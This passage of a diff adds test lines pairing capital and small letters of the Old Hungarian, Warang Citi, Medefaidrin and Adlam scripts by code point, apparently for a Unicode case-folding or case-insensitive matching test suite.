+test(0x10C89, 0x10CC9); // OLD HUNGARIAN CAPITAL LETTER E, OLD HUNGARIAN SMALL LETTER E
+test(0x10C8A, 0x10CCA); // OLD HUNGARIAN CAPITAL LETTER CLOSE E, OLD HUNGARIAN SMALL LETTER CLOSE E
+test(0x10C8B, 0x10CCB); // OLD HUNGARIAN CAPITAL LETTER EE, OLD HUNGARIAN SMALL LETTER EE
+test(0x10C8C, 0x10CCC); // OLD HUNGARIAN CAPITAL LETTER EF, OLD HUNGARIAN SMALL LETTER EF
+test(0x10C8D, 0x10CCD); // OLD HUNGARIAN CAPITAL LETTER EG, OLD HUNGARIAN SMALL LETTER EG
+test(0x10C8E, 0x10CCE); // OLD HUNGARIAN CAPITAL LETTER EGY, OLD HUNGARIAN SMALL LETTER EGY
+test(0x10C8F, 0x10CCF); // OLD HUNGARIAN CAPITAL LETTER EH, OLD HUNGARIAN SMALL LETTER EH
+test(0x10C90, 0x10CD0); // OLD HUNGARIAN CAPITAL LETTER I, OLD HUNGARIAN SMALL LETTER I
+test(0x10C91, 0x10CD1); // OLD HUNGARIAN CAPITAL LETTER II, OLD HUNGARIAN SMALL LETTER II
+test(0x10C92, 0x10CD2); // OLD HUNGARIAN CAPITAL LETTER EJ, OLD HUNGARIAN SMALL LETTER EJ
+test(0x10C93, 0x10CD3); // OLD HUNGARIAN CAPITAL LETTER EK, OLD HUNGARIAN SMALL LETTER EK
+test(0x10C94, 0x10CD4); // OLD HUNGARIAN CAPITAL LETTER AK, OLD HUNGARIAN SMALL LETTER AK
+test(0x10C95, 0x10CD5); // OLD HUNGARIAN CAPITAL LETTER UNK, OLD HUNGARIAN SMALL LETTER UNK
+test(0x10C96, 0x10CD6); // OLD HUNGARIAN CAPITAL LETTER EL, OLD HUNGARIAN SMALL LETTER EL
+test(0x10C97, 0x10CD7); // OLD HUNGARIAN CAPITAL LETTER ELY, OLD HUNGARIAN SMALL LETTER ELY
+test(0x10C98, 0x10CD8); // OLD HUNGARIAN CAPITAL LETTER EM, OLD HUNGARIAN SMALL LETTER EM
+test(0x10C99, 0x10CD9); // OLD HUNGARIAN CAPITAL LETTER EN, OLD HUNGARIAN SMALL LETTER EN
+test(0x10C9A, 0x10CDA); // OLD HUNGARIAN CAPITAL LETTER ENY, OLD HUNGARIAN SMALL LETTER ENY
+test(0x10C9B, 0x10CDB); // OLD HUNGARIAN CAPITAL LETTER O, OLD HUNGARIAN SMALL LETTER O
+test(0x10C9C, 0x10CDC); // OLD HUNGARIAN CAPITAL LETTER OO, OLD HUNGARIAN SMALL LETTER OO
+test(0x10C9D, 0x10CDD); // OLD HUNGARIAN CAPITAL LETTER NIKOLSBURG OE, OLD HUNGARIAN SMALL LETTER NIKOLSBURG OE
+test(0x10C9E, 0x10CDE); // OLD HUNGARIAN CAPITAL LETTER RUDIMENTA OE, OLD HUNGARIAN SMALL LETTER RUDIMENTA OE
+test(0x10C9F, 0x10CDF); // OLD HUNGARIAN CAPITAL LETTER OEE, OLD HUNGARIAN SMALL LETTER OEE
+test(0x10CA0, 0x10CE0); // OLD HUNGARIAN CAPITAL LETTER EP, OLD HUNGARIAN SMALL LETTER EP
+test(0x10CA1, 0x10CE1); // OLD HUNGARIAN CAPITAL LETTER EMP, OLD HUNGARIAN SMALL LETTER EMP
+test(0x10CA2, 0x10CE2); // OLD HUNGARIAN CAPITAL LETTER ER, OLD HUNGARIAN SMALL LETTER ER
+test(0x10CA3, 0x10CE3); // OLD HUNGARIAN CAPITAL LETTER SHORT ER, OLD HUNGARIAN SMALL LETTER SHORT ER
+test(0x10CA4, 0x10CE4); // OLD HUNGARIAN CAPITAL LETTER ES, OLD HUNGARIAN SMALL LETTER ES
+test(0x10CA5, 0x10CE5); // OLD HUNGARIAN CAPITAL LETTER ESZ, OLD HUNGARIAN SMALL LETTER ESZ
+test(0x10CA6, 0x10CE6); // OLD HUNGARIAN CAPITAL LETTER ET, OLD HUNGARIAN SMALL LETTER ET
+test(0x10CA7, 0x10CE7); // OLD HUNGARIAN CAPITAL LETTER ENT, OLD HUNGARIAN SMALL LETTER ENT
+test(0x10CA8, 0x10CE8); // OLD HUNGARIAN CAPITAL LETTER ETY, OLD HUNGARIAN SMALL LETTER ETY
+test(0x10CA9, 0x10CE9); // OLD HUNGARIAN CAPITAL LETTER ECH, OLD HUNGARIAN SMALL LETTER ECH
+test(0x10CAA, 0x10CEA); // OLD HUNGARIAN CAPITAL LETTER U, OLD HUNGARIAN SMALL LETTER U
+test(0x10CAB, 0x10CEB); // OLD HUNGARIAN CAPITAL LETTER UU, OLD HUNGARIAN SMALL LETTER UU
+test(0x10CAC, 0x10CEC); // OLD HUNGARIAN CAPITAL LETTER NIKOLSBURG UE, OLD HUNGARIAN SMALL LETTER NIKOLSBURG UE
+test(0x10CAD, 0x10CED); // OLD HUNGARIAN CAPITAL LETTER RUDIMENTA UE, OLD HUNGARIAN SMALL LETTER RUDIMENTA UE
+test(0x10CAE, 0x10CEE); // OLD HUNGARIAN CAPITAL LETTER EV, OLD HUNGARIAN SMALL LETTER EV
+test(0x10CAF, 0x10CEF); // OLD HUNGARIAN CAPITAL LETTER EZ, OLD HUNGARIAN SMALL LETTER EZ
+test(0x10CB0, 0x10CF0); // OLD HUNGARIAN CAPITAL LETTER EZS, OLD HUNGARIAN SMALL LETTER EZS
+test(0x10CB1, 0x10CF1); // OLD HUNGARIAN CAPITAL LETTER ENT-SHAPED SIGN, OLD HUNGARIAN SMALL LETTER ENT-SHAPED SIGN
+test(0x10CB2, 0x10CF2); // OLD HUNGARIAN CAPITAL LETTER US, OLD HUNGARIAN SMALL LETTER US
+test(0x10CC0, 0x10C80); // OLD HUNGARIAN SMALL LETTER A, OLD HUNGARIAN CAPITAL LETTER A
+test(0x10CC1, 0x10C81); // OLD HUNGARIAN SMALL LETTER AA, OLD HUNGARIAN CAPITAL LETTER AA
+test(0x10CC2, 0x10C82); // OLD HUNGARIAN SMALL LETTER EB, OLD HUNGARIAN CAPITAL LETTER EB
+test(0x10CC3, 0x10C83); // OLD HUNGARIAN SMALL LETTER AMB, OLD HUNGARIAN CAPITAL LETTER AMB
+test(0x10CC4, 0x10C84); // OLD HUNGARIAN SMALL LETTER EC, OLD HUNGARIAN CAPITAL LETTER EC
+test(0x10CC5, 0x10C85); // OLD HUNGARIAN SMALL LETTER ENC, OLD HUNGARIAN CAPITAL LETTER ENC
+test(0x10CC6, 0x10C86); // OLD HUNGARIAN SMALL LETTER ECS, OLD HUNGARIAN CAPITAL LETTER ECS
+test(0x10CC7, 0x10C87); // OLD HUNGARIAN SMALL LETTER ED, OLD HUNGARIAN CAPITAL LETTER ED
+test(0x10CC8, 0x10C88); // OLD HUNGARIAN SMALL LETTER AND, OLD HUNGARIAN CAPITAL LETTER AND
+test(0x10CC9, 0x10C89); // OLD HUNGARIAN SMALL LETTER E, OLD HUNGARIAN CAPITAL LETTER E
+test(0x10CCA, 0x10C8A); // OLD HUNGARIAN SMALL LETTER CLOSE E, OLD HUNGARIAN CAPITAL LETTER CLOSE E
+test(0x10CCB, 0x10C8B); // OLD HUNGARIAN SMALL LETTER EE, OLD HUNGARIAN CAPITAL LETTER EE
+test(0x10CCC, 0x10C8C); // OLD HUNGARIAN SMALL LETTER EF, OLD HUNGARIAN CAPITAL LETTER EF
+test(0x10CCD, 0x10C8D); // OLD HUNGARIAN SMALL LETTER EG, OLD HUNGARIAN CAPITAL LETTER EG
+test(0x10CCE, 0x10C8E); // OLD HUNGARIAN SMALL LETTER EGY, OLD HUNGARIAN CAPITAL LETTER EGY
+test(0x10CCF, 0x10C8F); // OLD HUNGARIAN SMALL LETTER EH, OLD HUNGARIAN CAPITAL LETTER EH
+test(0x10CD0, 0x10C90); // OLD HUNGARIAN SMALL LETTER I, OLD HUNGARIAN CAPITAL LETTER I
+test(0x10CD1, 0x10C91); // OLD HUNGARIAN SMALL LETTER II, OLD HUNGARIAN CAPITAL LETTER II
+test(0x10CD2, 0x10C92); // OLD HUNGARIAN SMALL LETTER EJ, OLD HUNGARIAN CAPITAL LETTER EJ
+test(0x10CD3, 0x10C93); // OLD HUNGARIAN SMALL LETTER EK, OLD HUNGARIAN CAPITAL LETTER EK
+test(0x10CD4, 0x10C94); // OLD HUNGARIAN SMALL LETTER AK, OLD HUNGARIAN CAPITAL LETTER AK
+test(0x10CD5, 0x10C95); // OLD HUNGARIAN SMALL LETTER UNK, OLD HUNGARIAN CAPITAL LETTER UNK
+test(0x10CD6, 0x10C96); // OLD HUNGARIAN SMALL LETTER EL, OLD HUNGARIAN CAPITAL LETTER EL
+test(0x10CD7, 0x10C97); // OLD HUNGARIAN SMALL LETTER ELY, OLD HUNGARIAN CAPITAL LETTER ELY
+test(0x10CD8, 0x10C98); // OLD HUNGARIAN SMALL LETTER EM, OLD HUNGARIAN CAPITAL LETTER EM
+test(0x10CD9, 0x10C99); // OLD HUNGARIAN SMALL LETTER EN, OLD HUNGARIAN CAPITAL LETTER EN
+test(0x10CDA, 0x10C9A); // OLD HUNGARIAN SMALL LETTER ENY, OLD HUNGARIAN CAPITAL LETTER ENY
+test(0x10CDB, 0x10C9B); // OLD HUNGARIAN SMALL LETTER O, OLD HUNGARIAN CAPITAL LETTER O
+test(0x10CDC, 0x10C9C); // OLD HUNGARIAN SMALL LETTER OO, OLD HUNGARIAN CAPITAL LETTER OO
+test(0x10CDD, 0x10C9D); // OLD HUNGARIAN SMALL LETTER NIKOLSBURG OE, OLD HUNGARIAN CAPITAL LETTER NIKOLSBURG OE
+test(0x10CDE, 0x10C9E); // OLD HUNGARIAN SMALL LETTER RUDIMENTA OE, OLD HUNGARIAN CAPITAL LETTER RUDIMENTA OE
+test(0x10CDF, 0x10C9F); // OLD HUNGARIAN SMALL LETTER OEE, OLD HUNGARIAN CAPITAL LETTER OEE
+test(0x10CE0, 0x10CA0); // OLD HUNGARIAN SMALL LETTER EP, OLD HUNGARIAN CAPITAL LETTER EP
+test(0x10CE1, 0x10CA1); // OLD HUNGARIAN SMALL LETTER EMP, OLD HUNGARIAN CAPITAL LETTER EMP
+test(0x10CE2, 0x10CA2); // OLD HUNGARIAN SMALL LETTER ER, OLD HUNGARIAN CAPITAL LETTER ER
+test(0x10CE3, 0x10CA3); // OLD HUNGARIAN SMALL LETTER SHORT ER, OLD HUNGARIAN CAPITAL LETTER SHORT ER
+test(0x10CE4, 0x10CA4); // OLD HUNGARIAN SMALL LETTER ES, OLD HUNGARIAN CAPITAL LETTER ES
+test(0x10CE5, 0x10CA5); // OLD HUNGARIAN SMALL LETTER ESZ, OLD HUNGARIAN CAPITAL LETTER ESZ
+test(0x10CE6, 0x10CA6); // OLD HUNGARIAN SMALL LETTER ET, OLD HUNGARIAN CAPITAL LETTER ET
+test(0x10CE7, 0x10CA7); // OLD HUNGARIAN SMALL LETTER ENT, OLD HUNGARIAN CAPITAL LETTER ENT
+test(0x10CE8, 0x10CA8); // OLD HUNGARIAN SMALL LETTER ETY, OLD HUNGARIAN CAPITAL LETTER ETY
+test(0x10CE9, 0x10CA9); // OLD HUNGARIAN SMALL LETTER ECH, OLD HUNGARIAN CAPITAL LETTER ECH
+test(0x10CEA, 0x10CAA); // OLD HUNGARIAN SMALL LETTER U, OLD HUNGARIAN CAPITAL LETTER U
+test(0x10CEB, 0x10CAB); // OLD HUNGARIAN SMALL LETTER UU, OLD HUNGARIAN CAPITAL LETTER UU
+test(0x10CEC, 0x10CAC); // OLD HUNGARIAN SMALL LETTER NIKOLSBURG UE, OLD HUNGARIAN CAPITAL LETTER NIKOLSBURG UE
+test(0x10CED, 0x10CAD); // OLD HUNGARIAN SMALL LETTER RUDIMENTA UE, OLD HUNGARIAN CAPITAL LETTER RUDIMENTA UE
+test(0x10CEE, 0x10CAE); // OLD HUNGARIAN SMALL LETTER EV, OLD HUNGARIAN CAPITAL LETTER EV
+test(0x10CEF, 0x10CAF); // OLD HUNGARIAN SMALL LETTER EZ, OLD HUNGARIAN CAPITAL LETTER EZ
+test(0x10CF0, 0x10CB0); // OLD HUNGARIAN SMALL LETTER EZS, OLD HUNGARIAN CAPITAL LETTER EZS
+test(0x10CF1, 0x10CB1); // OLD HUNGARIAN SMALL LETTER ENT-SHAPED SIGN, OLD HUNGARIAN CAPITAL LETTER ENT-SHAPED SIGN
+test(0x10CF2, 0x10CB2); // OLD HUNGARIAN SMALL LETTER US, OLD HUNGARIAN CAPITAL LETTER US
+test(0x118A0, 0x118C0); // WARANG CITI CAPITAL LETTER NGAA, WARANG CITI SMALL LETTER NGAA
+test(0x118A1, 0x118C1); // WARANG CITI CAPITAL LETTER A, WARANG CITI SMALL LETTER A
+test(0x118A2, 0x118C2); // WARANG CITI CAPITAL LETTER WI, WARANG CITI SMALL LETTER WI
+test(0x118A3, 0x118C3); // WARANG CITI CAPITAL LETTER YU, WARANG CITI SMALL LETTER YU
+test(0x118A4, 0x118C4); // WARANG CITI CAPITAL LETTER YA, WARANG CITI SMALL LETTER YA
+test(0x118A5, 0x118C5); // WARANG CITI CAPITAL LETTER YO, WARANG CITI SMALL LETTER YO
+test(0x118A6, 0x118C6); // WARANG CITI CAPITAL LETTER II, WARANG CITI SMALL LETTER II
+test(0x118A7, 0x118C7); // WARANG CITI CAPITAL LETTER UU, WARANG CITI SMALL LETTER UU
+test(0x118A8, 0x118C8); // WARANG CITI CAPITAL LETTER E, WARANG CITI SMALL LETTER E
+test(0x118A9, 0x118C9); // WARANG CITI CAPITAL LETTER O, WARANG CITI SMALL LETTER O
+test(0x118AA, 0x118CA); // WARANG CITI CAPITAL LETTER ANG, WARANG CITI SMALL LETTER ANG
+test(0x118AB, 0x118CB); // WARANG CITI CAPITAL LETTER GA, WARANG CITI SMALL LETTER GA
+test(0x118AC, 0x118CC); // WARANG CITI CAPITAL LETTER KO, WARANG CITI SMALL LETTER KO
+test(0x118AD, 0x118CD); // WARANG CITI CAPITAL LETTER ENY, WARANG CITI SMALL LETTER ENY
+test(0x118AE, 0x118CE); // WARANG CITI CAPITAL LETTER YUJ, WARANG CITI SMALL LETTER YUJ
+test(0x118AF, 0x118CF); // WARANG CITI CAPITAL LETTER UC, WARANG CITI SMALL LETTER UC
+test(0x118B0, 0x118D0); // WARANG CITI CAPITAL LETTER ENN, WARANG CITI SMALL LETTER ENN
+test(0x118B1, 0x118D1); // WARANG CITI CAPITAL LETTER ODD, WARANG CITI SMALL LETTER ODD
+test(0x118B2, 0x118D2); // WARANG CITI CAPITAL LETTER TTE, WARANG CITI SMALL LETTER TTE
+test(0x118B3, 0x118D3); // WARANG CITI CAPITAL LETTER NUNG, WARANG CITI SMALL LETTER NUNG
+test(0x118B4, 0x118D4); // WARANG CITI CAPITAL LETTER DA, WARANG CITI SMALL LETTER DA
+test(0x118B5, 0x118D5); // WARANG CITI CAPITAL LETTER AT, WARANG CITI SMALL LETTER AT
+test(0x118B6, 0x118D6); // WARANG CITI CAPITAL LETTER AM, WARANG CITI SMALL LETTER AM
+test(0x118B7, 0x118D7); // WARANG CITI CAPITAL LETTER BU, WARANG CITI SMALL LETTER BU
+test(0x118B8, 0x118D8); // WARANG CITI CAPITAL LETTER PU, WARANG CITI SMALL LETTER PU
+test(0x118B9, 0x118D9); // WARANG CITI CAPITAL LETTER HIYO, WARANG CITI SMALL LETTER HIYO
+test(0x118BA, 0x118DA); // WARANG CITI CAPITAL LETTER HOLO, WARANG CITI SMALL LETTER HOLO
+test(0x118BB, 0x118DB); // WARANG CITI CAPITAL LETTER HORR, WARANG CITI SMALL LETTER HORR
+test(0x118BC, 0x118DC); // WARANG CITI CAPITAL LETTER HAR, WARANG CITI SMALL LETTER HAR
+test(0x118BD, 0x118DD); // WARANG CITI CAPITAL LETTER SSUU, WARANG CITI SMALL LETTER SSUU
+test(0x118BE, 0x118DE); // WARANG CITI CAPITAL LETTER SII, WARANG CITI SMALL LETTER SII
+test(0x118BF, 0x118DF); // WARANG CITI CAPITAL LETTER VIYO, WARANG CITI SMALL LETTER VIYO
+test(0x118C0, 0x118A0); // WARANG CITI SMALL LETTER NGAA, WARANG CITI CAPITAL LETTER NGAA
+test(0x118C1, 0x118A1); // WARANG CITI SMALL LETTER A, WARANG CITI CAPITAL LETTER A
+test(0x118C2, 0x118A2); // WARANG CITI SMALL LETTER WI, WARANG CITI CAPITAL LETTER WI
+test(0x118C3, 0x118A3); // WARANG CITI SMALL LETTER YU, WARANG CITI CAPITAL LETTER YU
+test(0x118C4, 0x118A4); // WARANG CITI SMALL LETTER YA, WARANG CITI CAPITAL LETTER YA
+test(0x118C5, 0x118A5); // WARANG CITI SMALL LETTER YO, WARANG CITI CAPITAL LETTER YO
+test(0x118C6, 0x118A6); // WARANG CITI SMALL LETTER II, WARANG CITI CAPITAL LETTER II
+test(0x118C7, 0x118A7); // WARANG CITI SMALL LETTER UU, WARANG CITI CAPITAL LETTER UU
+test(0x118C8, 0x118A8); // WARANG CITI SMALL LETTER E, WARANG CITI CAPITAL LETTER E
+test(0x118C9, 0x118A9); // WARANG CITI SMALL LETTER O, WARANG CITI CAPITAL LETTER O
+test(0x118CA, 0x118AA); // WARANG CITI SMALL LETTER ANG, WARANG CITI CAPITAL LETTER ANG
+test(0x118CB, 0x118AB); // WARANG CITI SMALL LETTER GA, WARANG CITI CAPITAL LETTER GA
+test(0x118CC, 0x118AC); // WARANG CITI SMALL LETTER KO, WARANG CITI CAPITAL LETTER KO
+test(0x118CD, 0x118AD); // WARANG CITI SMALL LETTER ENY, WARANG CITI CAPITAL LETTER ENY
+test(0x118CE, 0x118AE); // WARANG CITI SMALL LETTER YUJ, WARANG CITI CAPITAL LETTER YUJ
+test(0x118CF, 0x118AF); // WARANG CITI SMALL LETTER UC, WARANG CITI CAPITAL LETTER UC
+test(0x118D0, 0x118B0); // WARANG CITI SMALL LETTER ENN, WARANG CITI CAPITAL LETTER ENN
+test(0x118D1, 0x118B1); // WARANG CITI SMALL LETTER ODD, WARANG CITI CAPITAL LETTER ODD
+test(0x118D2, 0x118B2); // WARANG CITI SMALL LETTER TTE, WARANG CITI CAPITAL LETTER TTE
+test(0x118D3, 0x118B3); // WARANG CITI SMALL LETTER NUNG, WARANG CITI CAPITAL LETTER NUNG
+test(0x118D4, 0x118B4); // WARANG CITI SMALL LETTER DA, WARANG CITI CAPITAL LETTER DA
+test(0x118D5, 0x118B5); // WARANG CITI SMALL LETTER AT, WARANG CITI CAPITAL LETTER AT
+test(0x118D6, 0x118B6); // WARANG CITI SMALL LETTER AM, WARANG CITI CAPITAL LETTER AM
+test(0x118D7, 0x118B7); // WARANG CITI SMALL LETTER BU, WARANG CITI CAPITAL LETTER BU
+test(0x118D8, 0x118B8); // WARANG CITI SMALL LETTER PU, WARANG CITI CAPITAL LETTER PU
+test(0x118D9, 0x118B9); // WARANG CITI SMALL LETTER HIYO, WARANG CITI CAPITAL LETTER HIYO
+test(0x118DA, 0x118BA); // WARANG CITI SMALL LETTER HOLO, WARANG CITI CAPITAL LETTER HOLO
+test(0x118DB, 0x118BB); // WARANG CITI SMALL LETTER HORR, WARANG CITI CAPITAL LETTER HORR
+test(0x118DC, 0x118BC); // WARANG CITI SMALL LETTER HAR, WARANG CITI CAPITAL LETTER HAR
+test(0x118DD, 0x118BD); // WARANG CITI SMALL LETTER SSUU, WARANG CITI CAPITAL LETTER SSUU
+test(0x118DE, 0x118BE); // WARANG CITI SMALL LETTER SII, WARANG CITI CAPITAL LETTER SII
+test(0x118DF, 0x118BF); // WARANG CITI SMALL LETTER VIYO, WARANG CITI CAPITAL LETTER VIYO
+test(0x16E40, 0x16E60); // MEDEFAIDRIN CAPITAL LETTER M, MEDEFAIDRIN SMALL LETTER M
+test(0x16E41, 0x16E61); // MEDEFAIDRIN CAPITAL LETTER S, MEDEFAIDRIN SMALL LETTER S
+test(0x16E42, 0x16E62); // MEDEFAIDRIN CAPITAL LETTER V, MEDEFAIDRIN SMALL LETTER V
+test(0x16E43, 0x16E63); // MEDEFAIDRIN CAPITAL LETTER W, MEDEFAIDRIN SMALL LETTER W
+test(0x16E44, 0x16E64); // MEDEFAIDRIN CAPITAL LETTER ATIU, MEDEFAIDRIN SMALL LETTER ATIU
+test(0x16E45, 0x16E65); // MEDEFAIDRIN CAPITAL LETTER Z, MEDEFAIDRIN SMALL LETTER Z
+test(0x16E46, 0x16E66); // MEDEFAIDRIN CAPITAL LETTER KP, MEDEFAIDRIN SMALL LETTER KP
+test(0x16E47, 0x16E67); // MEDEFAIDRIN CAPITAL LETTER P, MEDEFAIDRIN SMALL LETTER P
+test(0x16E48, 0x16E68); // MEDEFAIDRIN CAPITAL LETTER T, MEDEFAIDRIN SMALL LETTER T
+test(0x16E49, 0x16E69); // MEDEFAIDRIN CAPITAL LETTER G, MEDEFAIDRIN SMALL LETTER G
+test(0x16E4A, 0x16E6A); // MEDEFAIDRIN CAPITAL LETTER F, MEDEFAIDRIN SMALL LETTER F
+test(0x16E4B, 0x16E6B); // MEDEFAIDRIN CAPITAL LETTER I, MEDEFAIDRIN SMALL LETTER I
+test(0x16E4C, 0x16E6C); // MEDEFAIDRIN CAPITAL LETTER K, MEDEFAIDRIN SMALL LETTER K
+test(0x16E4D, 0x16E6D); // MEDEFAIDRIN CAPITAL LETTER A, MEDEFAIDRIN SMALL LETTER A
+test(0x16E4E, 0x16E6E); // MEDEFAIDRIN CAPITAL LETTER J, MEDEFAIDRIN SMALL LETTER J
+test(0x16E4F, 0x16E6F); // MEDEFAIDRIN CAPITAL LETTER E, MEDEFAIDRIN SMALL LETTER E
+test(0x16E50, 0x16E70); // MEDEFAIDRIN CAPITAL LETTER B, MEDEFAIDRIN SMALL LETTER B
+test(0x16E51, 0x16E71); // MEDEFAIDRIN CAPITAL LETTER C, MEDEFAIDRIN SMALL LETTER C
+test(0x16E52, 0x16E72); // MEDEFAIDRIN CAPITAL LETTER U, MEDEFAIDRIN SMALL LETTER U
+test(0x16E53, 0x16E73); // MEDEFAIDRIN CAPITAL LETTER YU, MEDEFAIDRIN SMALL LETTER YU
+test(0x16E54, 0x16E74); // MEDEFAIDRIN CAPITAL LETTER L, MEDEFAIDRIN SMALL LETTER L
+test(0x16E55, 0x16E75); // MEDEFAIDRIN CAPITAL LETTER Q, MEDEFAIDRIN SMALL LETTER Q
+test(0x16E56, 0x16E76); // MEDEFAIDRIN CAPITAL LETTER HP, MEDEFAIDRIN SMALL LETTER HP
+test(0x16E57, 0x16E77); // MEDEFAIDRIN CAPITAL LETTER NY, MEDEFAIDRIN SMALL LETTER NY
+test(0x16E58, 0x16E78); // MEDEFAIDRIN CAPITAL LETTER X, MEDEFAIDRIN SMALL LETTER X
+test(0x16E59, 0x16E79); // MEDEFAIDRIN CAPITAL LETTER D, MEDEFAIDRIN SMALL LETTER D
+test(0x16E5A, 0x16E7A); // MEDEFAIDRIN CAPITAL LETTER OE, MEDEFAIDRIN SMALL LETTER OE
+test(0x16E5B, 0x16E7B); // MEDEFAIDRIN CAPITAL LETTER N, MEDEFAIDRIN SMALL LETTER N
+test(0x16E5C, 0x16E7C); // MEDEFAIDRIN CAPITAL LETTER R, MEDEFAIDRIN SMALL LETTER R
+test(0x16E5D, 0x16E7D); // MEDEFAIDRIN CAPITAL LETTER O, MEDEFAIDRIN SMALL LETTER O
+test(0x16E5E, 0x16E7E); // MEDEFAIDRIN CAPITAL LETTER AI, MEDEFAIDRIN SMALL LETTER AI
+test(0x16E5F, 0x16E7F); // MEDEFAIDRIN CAPITAL LETTER Y, MEDEFAIDRIN SMALL LETTER Y
+test(0x16E60, 0x16E40); // MEDEFAIDRIN SMALL LETTER M, MEDEFAIDRIN CAPITAL LETTER M
+test(0x16E61, 0x16E41); // MEDEFAIDRIN SMALL LETTER S, MEDEFAIDRIN CAPITAL LETTER S
+test(0x16E62, 0x16E42); // MEDEFAIDRIN SMALL LETTER V, MEDEFAIDRIN CAPITAL LETTER V
+test(0x16E63, 0x16E43); // MEDEFAIDRIN SMALL LETTER W, MEDEFAIDRIN CAPITAL LETTER W
+test(0x16E64, 0x16E44); // MEDEFAIDRIN SMALL LETTER ATIU, MEDEFAIDRIN CAPITAL LETTER ATIU
+test(0x16E65, 0x16E45); // MEDEFAIDRIN SMALL LETTER Z, MEDEFAIDRIN CAPITAL LETTER Z
+test(0x16E66, 0x16E46); // MEDEFAIDRIN SMALL LETTER KP, MEDEFAIDRIN CAPITAL LETTER KP
+test(0x16E67, 0x16E47); // MEDEFAIDRIN SMALL LETTER P, MEDEFAIDRIN CAPITAL LETTER P
+test(0x16E68, 0x16E48); // MEDEFAIDRIN SMALL LETTER T, MEDEFAIDRIN CAPITAL LETTER T
+test(0x16E69, 0x16E49); // MEDEFAIDRIN SMALL LETTER G, MEDEFAIDRIN CAPITAL LETTER G
+test(0x16E6A, 0x16E4A); // MEDEFAIDRIN SMALL LETTER F, MEDEFAIDRIN CAPITAL LETTER F
+test(0x16E6B, 0x16E4B); // MEDEFAIDRIN SMALL LETTER I, MEDEFAIDRIN CAPITAL LETTER I
+test(0x16E6C, 0x16E4C); // MEDEFAIDRIN SMALL LETTER K, MEDEFAIDRIN CAPITAL LETTER K
+test(0x16E6D, 0x16E4D); // MEDEFAIDRIN SMALL LETTER A, MEDEFAIDRIN CAPITAL LETTER A
+test(0x16E6E, 0x16E4E); // MEDEFAIDRIN SMALL LETTER J, MEDEFAIDRIN CAPITAL LETTER J
+test(0x16E6F, 0x16E4F); // MEDEFAIDRIN SMALL LETTER E, MEDEFAIDRIN CAPITAL LETTER E
+test(0x16E70, 0x16E50); // MEDEFAIDRIN SMALL LETTER B, MEDEFAIDRIN CAPITAL LETTER B
+test(0x16E71, 0x16E51); // MEDEFAIDRIN SMALL LETTER C, MEDEFAIDRIN CAPITAL LETTER C
+test(0x16E72, 0x16E52); // MEDEFAIDRIN SMALL LETTER U, MEDEFAIDRIN CAPITAL LETTER U
+test(0x16E73, 0x16E53); // MEDEFAIDRIN SMALL LETTER YU, MEDEFAIDRIN CAPITAL LETTER YU
+test(0x16E74, 0x16E54); // MEDEFAIDRIN SMALL LETTER L, MEDEFAIDRIN CAPITAL LETTER L
+test(0x16E75, 0x16E55); // MEDEFAIDRIN SMALL LETTER Q, MEDEFAIDRIN CAPITAL LETTER Q
+test(0x16E76, 0x16E56); // MEDEFAIDRIN SMALL LETTER HP, MEDEFAIDRIN CAPITAL LETTER HP
+test(0x16E77, 0x16E57); // MEDEFAIDRIN SMALL LETTER NY, MEDEFAIDRIN CAPITAL LETTER NY
+test(0x16E78, 0x16E58); // MEDEFAIDRIN SMALL LETTER X, MEDEFAIDRIN CAPITAL LETTER X
+test(0x16E79, 0x16E59); // MEDEFAIDRIN SMALL LETTER D, MEDEFAIDRIN CAPITAL LETTER D
+test(0x16E7A, 0x16E5A); // MEDEFAIDRIN SMALL LETTER OE, MEDEFAIDRIN CAPITAL LETTER OE
+test(0x16E7B, 0x16E5B); // MEDEFAIDRIN SMALL LETTER N, MEDEFAIDRIN CAPITAL LETTER N
+test(0x16E7C, 0x16E5C); // MEDEFAIDRIN SMALL LETTER R, MEDEFAIDRIN CAPITAL LETTER R
+test(0x16E7D, 0x16E5D); // MEDEFAIDRIN SMALL LETTER O, MEDEFAIDRIN CAPITAL LETTER O
+test(0x16E7E, 0x16E5E); // MEDEFAIDRIN SMALL LETTER AI, MEDEFAIDRIN CAPITAL LETTER AI
+test(0x16E7F, 0x16E5F); // MEDEFAIDRIN SMALL LETTER Y, MEDEFAIDRIN CAPITAL LETTER Y
+test(0x1E900, 0x1E922); // ADLAM CAPITAL LETTER ALIF, ADLAM SMALL LETTER ALIF
+test(0x1E901, 0x1E923); // ADLAM CAPITAL LETTER DAALI, ADLAM SMALL LETTER DAALI
+test(0x1E902, 0x1E924); // ADLAM CAPITAL LETTER LAAM, ADLAM SMALL LETTER LAAM
+test(0x1E903, 0x1E925); // ADLAM CAPITAL LETTER MIIM, ADLAM SMALL LETTER MIIM
+test(0x1E904, 0x1E926); // ADLAM CAPITAL LETTER BA, ADLAM SMALL LETTER BA
+test(0x1E905, 0x1E927); // ADLAM CAPITAL LETTER SINNYIIYHE, ADLAM SMALL LETTER SINNYIIYHE
+test(0x1E906, 0x1E928); // ADLAM CAPITAL LETTER PE, ADLAM SMALL LETTER PE
+test(0x1E907, 0x1E929); // ADLAM CAPITAL LETTER BHE, ADLAM SMALL LETTER BHE
+test(0x1E908, 0x1E92A); // ADLAM CAPITAL LETTER RA, ADLAM SMALL LETTER RA
+test(0x1E909, 0x1E92B); // ADLAM CAPITAL LETTER E, ADLAM SMALL LETTER E
+test(0x1E90A, 0x1E92C); // ADLAM CAPITAL LETTER FA, ADLAM SMALL LETTER FA
+test(0x1E90B, 0x1E92D); // ADLAM CAPITAL LETTER I, ADLAM SMALL LETTER I
+test(0x1E90C, 0x1E92E); // ADLAM CAPITAL LETTER O, ADLAM SMALL LETTER O
+test(0x1E90D, 0x1E92F); // ADLAM CAPITAL LETTER DHA, ADLAM SMALL LETTER DHA
+test(0x1E90E, 0x1E930); // ADLAM CAPITAL LETTER YHE, ADLAM SMALL LETTER YHE
+test(0x1E90F, 0x1E931); // ADLAM CAPITAL LETTER WAW, ADLAM SMALL LETTER WAW
+test(0x1E910, 0x1E932); // ADLAM CAPITAL LETTER NUN, ADLAM SMALL LETTER NUN
+test(0x1E911, 0x1E933); // ADLAM CAPITAL LETTER KAF, ADLAM SMALL LETTER KAF
+test(0x1E912, 0x1E934); // ADLAM CAPITAL LETTER YA, ADLAM SMALL LETTER YA
+test(0x1E913, 0x1E935); // ADLAM CAPITAL LETTER U, ADLAM SMALL LETTER U
+test(0x1E914, 0x1E936); // ADLAM CAPITAL LETTER JIIM, ADLAM SMALL LETTER JIIM
